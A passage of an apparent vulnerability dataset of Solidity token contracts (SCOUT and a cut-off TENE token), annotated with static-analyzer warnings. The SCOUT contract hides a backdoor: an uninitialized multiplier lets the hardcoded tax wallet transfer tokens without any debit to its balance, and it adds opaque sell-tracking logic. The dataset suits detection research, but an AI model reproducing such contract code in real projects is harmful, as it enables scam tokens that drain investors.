(uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract SCOUT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isLimExile;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c460ee): SCOUT._initialBuyTax should be constant \n\t// Recommendation for 3c460ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e03ee3): SCOUT._initialSellTax should be constant \n\t// Recommendation for 2e03ee3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: f4d10ff): SCOUT._finalBuyTax should be constant \n\t// Recommendation for f4d10ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 35de579): SCOUT._finalSellTax should be constant \n\t// Recommendation for 35de579: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9bd060): SCOUT._reduceBuyTaxAt should be constant \n\t// Recommendation for d9bd060: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb9b980): SCOUT._reduceSellTaxAt should be constant \n\t// Recommendation for bb9b980: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: a03e975): SCOUT._preventSwapBefore should be constant \n\t// Recommendation for a03e975: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 2;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Scout\";\n\n string private constant _symbol = unicode\"SCOUT\";\n\n uint256 public _maxTxAmount = 1680000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1680000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2fda0c1): SCOUT._taxSwapThreshold should be constant \n\t// Recommendation for 2fda0c1: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 840000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e51ebc): SCOUT._maxTaxSwap should be constant \n\t// Recommendation for 5e51ebc: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 800000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant _uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: d05ea79): SCOUT._taxWallet should be immutable \n\t// Recommendation for d05ea79: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d12673): SCOUT.transfMetaExile should be constant \n\t// Recommendation for 6d12673: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 5b6dcc1): SCOUT.transfMetaExile is never initialized. It is used in SCOUT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 5b6dcc1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private transfMetaExile;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n struct AssetTransfMeta {\n uint256 metaTransf;\n uint256 metaTokenCur;\n uint256 isIncl;\n }\n\n uint256 private minMetaTransf;\n\n mapping(address => AssetTransfMeta) private assetTransfMeta;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event ClearToken(address tokenAddr, uint256 tokenAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xC9447FB85B1fe51C6DE900bBC5a78607883998a5);\n\n _balances[_msgSender()] = _tTotal;\n\n _isLimExile[address(this)] = true;\n\n _isLimExile[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5e4d3b1): SCOUT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5e4d3b1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 58183eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 58183eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41ed703): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41ed703: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 58183eb\n\t\t// reentrancy-benign | ID: 41ed703\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 58183eb\n\t\t// reentrancy-benign | ID: 41ed703\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ad6eb5c): SCOUT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ad6eb5c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 41ed703\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 58183eb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc89a3b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc89a3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d0fa14): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d0fa14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e74b6de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e74b6de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n bool sellTransfer = to == uniV2Pair;\n\n bool buyTransfer = from == uniV2Pair;\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n buyTransfer &&\n to != address(_uniswapV2Router) &&\n !_isLimExile[to]\n ) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (sellTransfer && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n sellTransfer &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: dc89a3b\n\t\t\t\t// reentrancy-benign | ID: 5d0fa14\n\t\t\t\t// reentrancy-eth | ID: e74b6de\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dc89a3b\n\t\t\t\t\t// reentrancy-eth | ID: e74b6de\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isLimExile[from] || _isLimExile[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 5d0fa14\n minMetaTransf = block.number;\n }\n\n if (!_isLimExile[from] && !_isLimExile[to]) {\n if (!sellTransfer) {\n AssetTransfMeta storage transfMetaInfo = assetTransfMeta[to];\n\n if (buyTransfer) {\n if (transfMetaInfo.metaTransf == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 5d0fa14\n transfMetaInfo.metaTransf = _buyCount <\n _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n AssetTransfMeta storage transfMetaInfoCg = assetTransfMeta[\n from\n ];\n\n if (\n transfMetaInfo.metaTransf == 0 ||\n transfMetaInfoCg.metaTransf < transfMetaInfo.metaTransf\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 5d0fa14\n transfMetaInfo.metaTransf = transfMetaInfoCg.metaTransf;\n }\n }\n } else {\n AssetTransfMeta storage transfMetaInfoCg = assetTransfMeta[\n from\n ];\n\n\t\t\t\t// reentrancy-benign | ID: 5d0fa14\n transfMetaInfoCg.metaTokenCur = transfMetaInfoCg.metaTransf.sub(\n minMetaTransf\n );\n\n\t\t\t\t// reentrancy-benign | ID: 5d0fa14\n transfMetaInfoCg.isIncl = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: dc89a3b\n\t\t// reentrancy-eth | ID: e74b6de\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: e74b6de\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: e74b6de\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: dc89a3b\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 5b6dcc1): SCOUT.transfMetaExile is never initialized. It is used in SCOUT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 5b6dcc1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : transfMetaExile.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e74b6de\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: dc89a3b\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 58183eb\n\t\t// reentrancy-events | ID: dc89a3b\n\t\t// reentrancy-benign | ID: 41ed703\n\t\t// reentrancy-benign | ID: 5d0fa14\n\t\t// reentrancy-eth | ID: e74b6de\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueCaETH() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n limitsInEffect = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 58183eb\n\t\t// reentrancy-events | ID: dc89a3b\n\t\t// reentrancy-eth | ID: e74b6de\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c14d83c): SCOUT.enableTrading() ignores return value by IERC20(uniV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c14d83c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a1f473f): SCOUT.enableTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a1f473f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f56d7a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f56d7a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f56d7a6\n uniV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: a1f473f\n\t\t// reentrancy-eth | ID: f56d7a6\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: c14d83c\n\t\t// reentrancy-eth | ID: f56d7a6\n IERC20(uniV2Pair).approve(address(_uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: f56d7a6\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1019.sol",
"size_bytes": 22990,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TENE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: baa9cb6): TENE._taxWallet should be immutable \n\t// Recommendation for baa9cb6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9eded49): TENE._initialBuyTax should be constant \n\t// Recommendation for 9eded49: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2794ccd): TENE._initialSellTax should be constant \n\t// Recommendation for 2794ccd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 941497e): TENE._finalBuyTax should be constant \n\t// Recommendation for 941497e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 387f66a): TENE._finalSellTax should be constant \n\t// Recommendation for 387f66a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e7da03): TENE._reduceBuyTaxAt should be constant \n\t// Recommendation for 0e7da03: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd5aad3): TENE._reduceSellTaxAt should be constant \n\t// Recommendation for cd5aad3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0da7c2): TENE._preventSwapBefore should be constant \n\t// Recommendation for e0da7c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"New Mascot of The Holy Church\";\n\n string private constant _symbol = unicode\"TENEBRO\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85d1eae): TENE._taxSwapThreshold should be constant \n\t// Recommendation for 85d1eae: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce056fd): TENE._maxTaxSwap should be constant \n\t// Recommendation for ce056fd: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 150000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e7c5217): TENE.uniswapV2Router should be immutable \n\t// Recommendation for e7c5217: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a61c731): TENE.uniswapV2Pair should be immutable \n\t// Recommendation for a61c731: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6090c9f): TENE.sellsPerBlock should be constant \n\t// Recommendation for 6090c9f: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e19a8f): TENE.buysFirstBlock should be constant \n\t// Recommendation for 4e19a8f: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 018e6f6): TENE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 018e6f6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c40561c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c40561c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dbf1e1c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dbf1e1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c40561c\n\t\t// reentrancy-benign | ID: dbf1e1c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c40561c\n\t\t// reentrancy-benign | ID: dbf1e1c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f07ffbe): TENE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f07ffbe: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dbf1e1c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c40561c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 01cb2bf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 01cb2bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9c9f284): TENE._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 9c9f284: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f6df626): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f6df626: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fbd5945): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fbd5945: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 9c9f284\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if 